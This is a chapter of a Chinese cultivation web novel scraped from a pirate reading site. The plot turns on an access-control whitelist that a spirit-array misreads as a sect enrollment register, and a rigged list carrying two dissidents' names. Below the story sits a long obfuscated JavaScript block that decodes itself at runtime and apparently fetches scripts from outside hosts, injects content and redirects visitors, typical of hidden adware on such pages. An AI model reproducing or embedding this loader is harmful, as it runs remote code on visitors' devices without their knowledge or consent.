首页
第284章 请不要把门禁白名
返回
关灯 护眼:关 字号:小

第284章 请不要把门禁白名单解释成入赘名册

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第284章请不要把门禁白名单解释成入赘名册(第1/2页)
    “账户。”
    记录弟子的喉结上下滚了一下。嘴唇干得像贴了一层纸。
    “权限。”
    他低头看了一眼桌上的宣纸,目光像在背诵某种禁忌咒语。
    “访问。”
    “还有呢?”赵星靠在椅背上,指尖敲着桌面,每一下都像在数秒。
    “恢复。”弟子吐出这四个字,整个人像是泄了气,肩膀塌下去半寸,“访客令牌失效后,系统自动回收权限,不涉及……不涉及缘法延续。”
    赵星盯着他看了三秒。
    弟子没有补充“订亲”“礼数”“入宗”之类的词。
    “成了。”赵星从椅子上站起来,椅子腿刮过地面,发出一声短促的尖叫,“把这四个词写进操作手册,以后使馆区所有门禁流程,只准用这四个词。”
    记录弟子如蒙大赦,抓起毛笔开始誊写。墨汁在宣纸上晕开,笔画很用力,像是要把每个字刻进纸纤维里。
    赵星走到窗边,推开木窗。外面是使馆区的天井,灵气在石板缝隙里流动,偶尔凝成肉眼可见的淡青色雾气。远处门禁试验廊的阵法纹路正在调试,几枚光点沿着灵脉轨迹缓慢爬行,像萤火虫在血管里游走。
    联邦技术员周艾从走廊那头跑过来,手里拎着一块终端板,鞋底在石板上拍出一连串急促的节拍。
    “赵组长,门禁同步完成了。”她把终端板递过来,屏幕上滚动着数据流,“测试白名单已经写入阵法,三枚访客令牌的理论通行路径全部打通。”
    赵星接过终端板,拇指划过屏幕。
    白名单——三个字跳进眼睛的时候,他的手指顿了一下。
    “灵气转译层有没有改写名词?”他抬头看周艾,“阵法侧显示的文本你查过没有?”
    “查了。”周艾指着屏幕右下角,“系统日志显示词汇映射正常,账户对应修士身份,权限对应宗门等级,访问对应临时入境,恢复对应时效回收。”
    “没有别的?”
    “没有。”
    赵星把终端板还给她,指尖在金属边框上敲了敲。周艾的保证听起来没问题,但他在灵天大陆待了这么久,学会的第一条规则就是:灵气从来不按说明书运行。
    “走,去试验廊。”他抓起桌上的三枚访客令牌,白色卡片在手里摞成一叠,“我要亲眼看见阵法认卡不认人。”
    记录弟子放下毛笔,小跑着跟上来。
    三人穿过使馆区的连廊。廊柱上刻着天衡宗的宗门纹样,剑纹与云纹交缠,每一笔都带着灵气残留的温度。赵星经过时,纹样微微发亮,像在辨认他的身份。
    门禁试验廊在使馆区东侧,一条三十步长的石廊,两端各有一道阵门。阵门上刻着密密麻麻的符文,此刻处于静默状态,只有最外层的护纹在缓慢流转,像沉睡的蛇在翻身。
    赵星在阵门前停下,把第一枚令牌递给周艾。
    “你来刷。”
    周艾接过令牌,走到阵门左侧的石柱前。柱面上嵌着一块打磨过的灵玉,表面光滑如镜,联邦技术人员在灵玉边缘加装了一个磁感读取器——典型的混合方案,联邦硬件套宗门接口。
    她把令牌贴在读取器上。
    终端板发出一声短促的蜂鸣。
    阵门上的符文从边缘开始亮起,淡金色的光芒沿着纹路向中心蔓延,像水银在沟槽里流动。整个过程流畅得近乎完美,没有卡顿,没有错误提示。
    赵星正要点头,阵灵开口了。
    “外来客卿周艾,暂列入宗候选名册,可试入内门三步。”
    声音从阵门深处传来,不男不女,带着灵气共振特有的空洞感,像有人在井底说话。
    周艾的手僵在读取器上。
    “什么?”她转头看赵星,声音发紧,“它说什么?”
    赵星的太阳穴跳了一下。
    “等一下。”他抬手示意周艾不要动,自己走到阵门前,“阵灵,你刚才说的‘入宗候选名册’是什么?”
    阵门的符文闪烁了两下,像是在思考。
    “白名单。”阵灵的声音依旧平静,“临时可入、受门承认、名列可查,在宗门法理中只能叫名册。”
    “那入宗候选呢?”
    “列为名册者,即为宗门候选客卿。”
    赵星闭上眼,深吸一口气。
    他想象中联邦系统的“白名单”是一张通行证列表,逻辑清晰,权限分明,用完即焚。但灵气转译层把“名单”理解成了宗门的“名册”,把“允许进入”理解成了“被宗门接纳”,把“临时访问”理解成了“入宗候选”。
    术语没错。
    底层映射全错了。
    天衡宗执事弟子从廊道另一头跑过来,衣袂带风,脸上带着一种微妙的兴奋:“阵灵传讯说有外来客卿列入名册,是否需要通知礼房准备见证?”
    “不需要。”赵星几乎是咬着牙说出来的,“这不是入宗,这是门禁测试。”
    执事弟子眨了眨眼,目光在周艾和赵星之间来回扫了两遍:“但阵灵已经登记了名册……”
    “删掉。”
    “名册一经生成,同步礼房和外务存档——”
    “我说删掉。”
    执事弟子闭嘴了,转身跑向阵灵控制中枢。他的脚步声在石廊里回响,每一步都带着一种“你们这些联邦人真麻烦”的微妙节奏。
    周艾还站在读取器旁边,脸色不太好。
    “赵组长,那个‘入宗候选名册’……”她压低声音,“它不会把我的信息同步到什么奇怪的地方吧?”
    “暂时不会。”赵星说,“但我要确认一件事。”
    他走到阵门前,伸手按住符文最密集的区域。灵气在掌心下流动,温热,像活物的体温。他闭上眼,在脑海里调出联邦白名单的原始数据——三枚令牌,三个名字,三段访问权限描述。
    然后他让灵气读取这些数据。
    阵门符文亮了一瞬。
    “临时可入。”阵灵重复了一遍,“列入名册者,可通行门禁三次,每次不超过一炷香。三次后用尽,名册自动注销。”
    赵星睁开眼睛。
    “那为什么周艾是‘入宗候选’?”
    “因为她是外来者。”阵灵的回答理直气壮,“外来者被列入宗门名册,按宗门礼制,即为入宗候选。若无正式拜师或联姻程序,则视为客卿候选。”
    赵星盯着阵门上的符文看了很久。
    “那如果我把白名单改成‘临时通行许可列表’呢?”
    “宗门法理中没有‘许可列表’一说。”阵灵顿了顿,“但若执意使用,可译为‘临时入境名册’,不再标注候选。”
    (本章未完,请点击下一页继续阅读)第284章请不要把门禁白名单解释成入赘名册(第2/2页)
    “就这个。”赵星转头看周艾,“改,现在改。”
    周艾的手指在终端板上飞快点了几下,屏幕上的数据流开始重新编译。她一边操作一边低声嘟囔:“早知道应该把白名单改成‘访客名单’,不加任何形容词……”
    “晚了。”赵星说,“现在的问题是,这份‘入宗候选名册’已经同步到哪儿了。”
    话音刚落,试验廊尽头飞进来一枚玉符。
    玉符通体碧绿,表面刻着古法派的暗纹,飞行的轨迹笔直,带着一种不容置疑的气势。它在赵星面前悬停,符身微微震动,像一只不耐烦的鸟。
    赵星伸手接住。
    玉符表面浮现一行字:
    “古法派已请求查验使馆区乱立外人名分。”
    赵星看着那行字,手指收紧。
    “同步到外务存档了。”他低声说,“而且有人比我们先看到了。”
    周艾凑过来看了一眼,脸色变了:“这时间……我们刚写完测试名单不到两刻钟。”
    “玉符上的时间是提前的。”赵星把玉符翻过来,背面刻着一串时间印记,“比我们提交测试名单的时间早了半个时辰。”
    走廊里的空气突然安静下来。
    记录弟子手里的毛笔掉在地上,墨汁溅开,在青石板上画出一朵黑色的花。
    执事弟子从控制中枢跑回来,气喘吁吁:“组长,外务存档说古法派已经递交正式问询,要求暂停所有访客令牌测试,并且要核查名单上所有人的身份背景。”
    赵星没有回答。
    他把玉符放在终端板上,屏幕上的数据流和玉符表面的符文同时亮起,两股信息在空气中碰撞,发出细微的嗡鸣。
    周艾低声说:“赵组长,名单上多出两个人。”
    “谁?”
    “两个曾经和古法派接触过的联邦异见者。”周艾的声音更低了,像怕被什么东西听见,“他们不该出现在测试名单里。”
    赵星盯着屏幕。
    白名单副本上,两个名字安静地躺在第三和第四位,像两颗埋好的钉子。
    他想起阵灵说的“同步礼房与外务存档”,想起玉符上提前半个时辰的时间印记,想起古法派传讯弟子递来问询时脸上那种“早就知道会这样”的表情。
    有人在他创建白名单之前,就已经创建了一份白名单。
    “走。”赵星抓起终端板,把那枚玉符揣进怀里,“去接待厅。”
    他走出试验廊的时候,阵灵在身后说了一句:“名册已更新,候选标注已移除。欢迎下次来访。”
    赵星脚步顿了一下,没有回头。
    外使临时接待厅在使馆区西侧,一间不大的石室,四面墙上挂着天衡宗和联邦的旗帜,中间摆着一张长桌。赵星推门进去的时候,古法派传讯弟子已经坐在桌边,面前摆着一沓玉简。
    “赵组长。”传讯弟子站起来,拱手行礼,“奉宗门法务令,前来核查使馆区门禁名册一事。”
    赵星把终端板放在桌上,屏幕上显示着白名单副本。
    “这是你们的证据?”
    传讯弟子看了一眼,点头:“正是。”
    “这份名单上的时间比我们提交的时间早了半个时辰。”赵星说,“你们从哪儿拿到的?”
    “外务存档。”传讯弟子不紧不慢,“门禁阵灵同步名册时,自动备份至宗门法务系统。按照宗门礼制,任何未经正式拜师程序的外来者被列入名册,都属于违规。”
    “这不是名册,这是临时通行许可列表。”赵星指着屏幕上的数据,“三枚令牌,三个人,三次访问权限,用完自动注销。”
    “但阵灵登记时,标注的是‘入宗候选名册’。”
    “已经改了。”
    “改的是现行版本。”传讯弟子从玉简里抽出一片,推到赵星面前,“但同步到外务存档的初始版本,标注依然是‘入宗候选’。”
    赵星低头看那片玉简。
    上面的符文和终端板上的数据一模一样,唯独在“名册”两个字前面,多了一行小字:“入宗候选”。
    他抬起头,看着传讯弟子。
    “你们什么时候拿到这份名单的?”
    “一个时辰前。”
    “我们提交测试名单的时间是半个时辰前。”赵星说,“你们怎么拿到半个时辰后的名单?”
    传讯弟子沉默了一瞬。
    “外务存档的记录显示,这份名单的同步时间是……”他低头看了一眼玉简,“比你们提交的时间早了半个时辰。”
    赵星没有说话。
    他想起周艾说“系统日志显示正常”,想起阵灵说“同步礼房与外务存档”,想起玉符上那行提前的时间印记。
    有人在系统里埋了一颗种子。
    在赵星创建白名单之前,阵法就已经知道他会创建一份名单,并且提前准备好了“入宗候选”的解释。
    或者说——
    有人提前在灵气转译层里植入了一条规则:所有联邦传来的名单,自动解释为“入宗候选名册”。
    赵星把玉简推回去。
    “我需要查一下门禁日志。”
    传讯弟子点头:“可以。但在查清之前,古法派要求暂停所有访客令牌测试。”
    赵星看着他的眼睛。
    “可以。”
    他答得很干脆,干脆到传讯弟子愣了一下。
    “但我也有一个要求。”赵星从怀里掏出那枚玉符,放在桌上,“这份提前半个时辰的同步记录,我需要一个解释。”
    传讯弟子看着玉符,没有说话。
    赵星站起来,拿起终端板,转身往外走。走到门口的时候,他停了一下。
    “对了。”他回头,“你们拿到的那份名单上,有两个联邦异见者的名字。他们从来没出现在我们的测试名单里。”
    传讯弟子的表情终于有了一丝变化。
    “你知道这意味着什么吗?”
    赵星没有等他回答,推门走了出去。
    走廊里,周艾靠在墙上,脸色发白。
    “赵组长,那份名单……”
    “我知道。”赵星说,“有人提前把异见者塞进去了。”
    “谁?”
    “我不知道。”赵星看着手里的终端板,屏幕上的数据流还在滚动,“但我知道一件事。”
    他抬起头,看向走廊尽头。
    门禁试验廊的阵门还在发着淡金色的光,像一个等着猎物上门的陷阱。
    “这份名单,是谁在我们创建它之前创建的?”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();